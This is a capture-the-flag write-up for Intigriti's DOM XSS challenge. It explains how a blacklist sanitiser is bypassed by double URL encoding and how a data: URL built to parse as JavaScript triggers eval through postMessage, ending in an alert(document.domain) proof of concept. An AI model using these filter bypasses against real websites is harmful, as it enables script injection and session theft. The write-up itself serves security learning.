Intigriti XSS challenge write-up

Intigriti published a DOM XSS Challenge available at Intigriti’s bug bounty platform. The assignment was to exploit a DOM XSS vulnerability on this page and to trigger a pop up of the document.domain (challenge.intigriti.io).

The target page is a simple HTML containing following JS script:

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");

const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);

iframe.onload = function(){
    window.addEventListener("message", executeCtx, false);

function executeCtx(e) {
    if(e.source == iframe.contentWindow){
        e.data.location = window.location;
        Object.assign(window, e.data);

The code is very short, after first lookup there is:

  • code which takes input from URL fragment section -> document.location.hash.substr(1) (it is a “source” - user input)
  • new iframe is created -> document.body.appendChild(iframe)
  • message event listener window.addEventListener("message", executeCtx, false); and handler implementation function executeCtx(e)
    • handler runs eval(url) (it is a “sink”)

Let’s analyze it deeper. First, look at the “source”:

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");

This part does the following:

  • it takes data from URL fragment document.location.hash.substr(1)
    • https://challenge.intigriti.io#FRAGMENT_DATA -> FRAGMENT_DATA
  • it runs URL decoding routine decodeURIComponent
    • important to observe that it runs only once
  • it passes URL decoded data into URL object
    • it means, that data must be a valid URL e.g. https://example.com, data:text/html,content
  • and it tries to sanitize dangerous characters, by replacing case insensitive script, < and > characters by a forbidden string
    • this is not sufficient, it is a black list technique, can be bypassed easily
    • if a payload will be double URL encoded it will bypass sanitize routine because it will be decoded to valid URL encoded HTML payload e.g. %253Csvg onload=alert()%253E -> %3Csvg onload=alert()%3E. Because there were no forbidden characters identified.

Second line:

const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
  • it creates an iframe and passes fragment data into iframe.src
    • it means that user-entered content is loaded by the created iframe

Rest of the script implements listener and handler function:

iframe.onload = function(){
    window.addEventListener("message", executeCtx, false);

function executeCtx(e) {
    if(e.source == iframe.contentWindow){
        e.data.location = window.location;
        Object.assign(window, e.data);

It does the following:

  • it registers message event listener for the iframe
    • it enables cross origin communication between Window objects (doc)
    • it is possible to send message to iframe using a postMessage function e.g. window.postMessage({'key': 'value'}, '*')
  • there is a handler which processes an incoming message, the handler function is defined by executeCtx(e)
    • it checks whether the event source (caller of the post message) is valid, in this case it must be iframe.contentWindow
    • data must be a valid object e.g. empty JSON {}
    • (sanitized) user input from URL fragment url or iframe.src is passed to eval(url)

To successfully exploit this, we need to achieve that fragment data is a:

  • valid URL scheme
  • valid javascript code

To execute the exploit we need to:

  • send a post message, which will be processed by message handler executeCtx

First, it is important to note that every URL scheme is a valid javascript code because it acts as a label. Label syntax is the following:

label :

URL scheme looks like this:


It is a valid label with comment // (source). Everything after is commented out. But if there is a possibility to inject newline \x0a into payload, rest of the payload after new line character will be executed:

eval("https://example.com\x0aalert('scheme payload')")

Instead of new line injection, we can use a data URL scheme. The syntax is the following:


Let’s check a text/html data scheme from a javascript perspective:

data:text/html,<svg onload=alert()>
  • there is a label data
  • undefined variables text, html
  • division operator /
  • comma operator ,
  • unexpected characters <svg onload=alert()>

But it is possible to compose a valid javascript and URL scheme:

data:text/html,/*<svg onload=alert()>*/ 1; var text=1, html=2; alert('scheme payload');

There are:

  • commented unexpected characters /*<svg onload=alert()>*/
  • placeholder 1
  • command separator ;
  • defined undefined variables var text=1, html=2;
  • payload alert('scheme payload');

All that we need now is a message that would trigger the message event. This can be achieved using the postMessage function. Handler function checks source of the message. It must be iframe. To do this let’s compose the payload:

data:text/html,/*<svg onload="parent.postMessage({},'*')">*/ 1; var text=1, html=2; alert(document.domain);

Commented code /*<svg onload="parent.postMessage({},'*')">*/ is a valid HTML loaded into iframe. Code triggers (sends) empty message parent.postMessage({},'*'). This message is handled by executeCtx. All required conditions are met:

  • source of the event is iframe
  • URL fragment is a valid javascript which is passed to eval(url) and executed

To put it together, the payload must be double URL encoded due to the sanitizing routine. Final payload looks like this:


To run XSS open URL:


After loading this URL a pop-up with “challenge.intigriti.io” is displayed.

About the author

František Uhrecký
Ethical Hacker
I enjoy figuring out how things work, but even better is figuring out how to force them to do what I want. I’m interested in open source technology, Linux, crypto, and mobile application security. And of course absolutely in offensive security.
Show more from author

Related blogs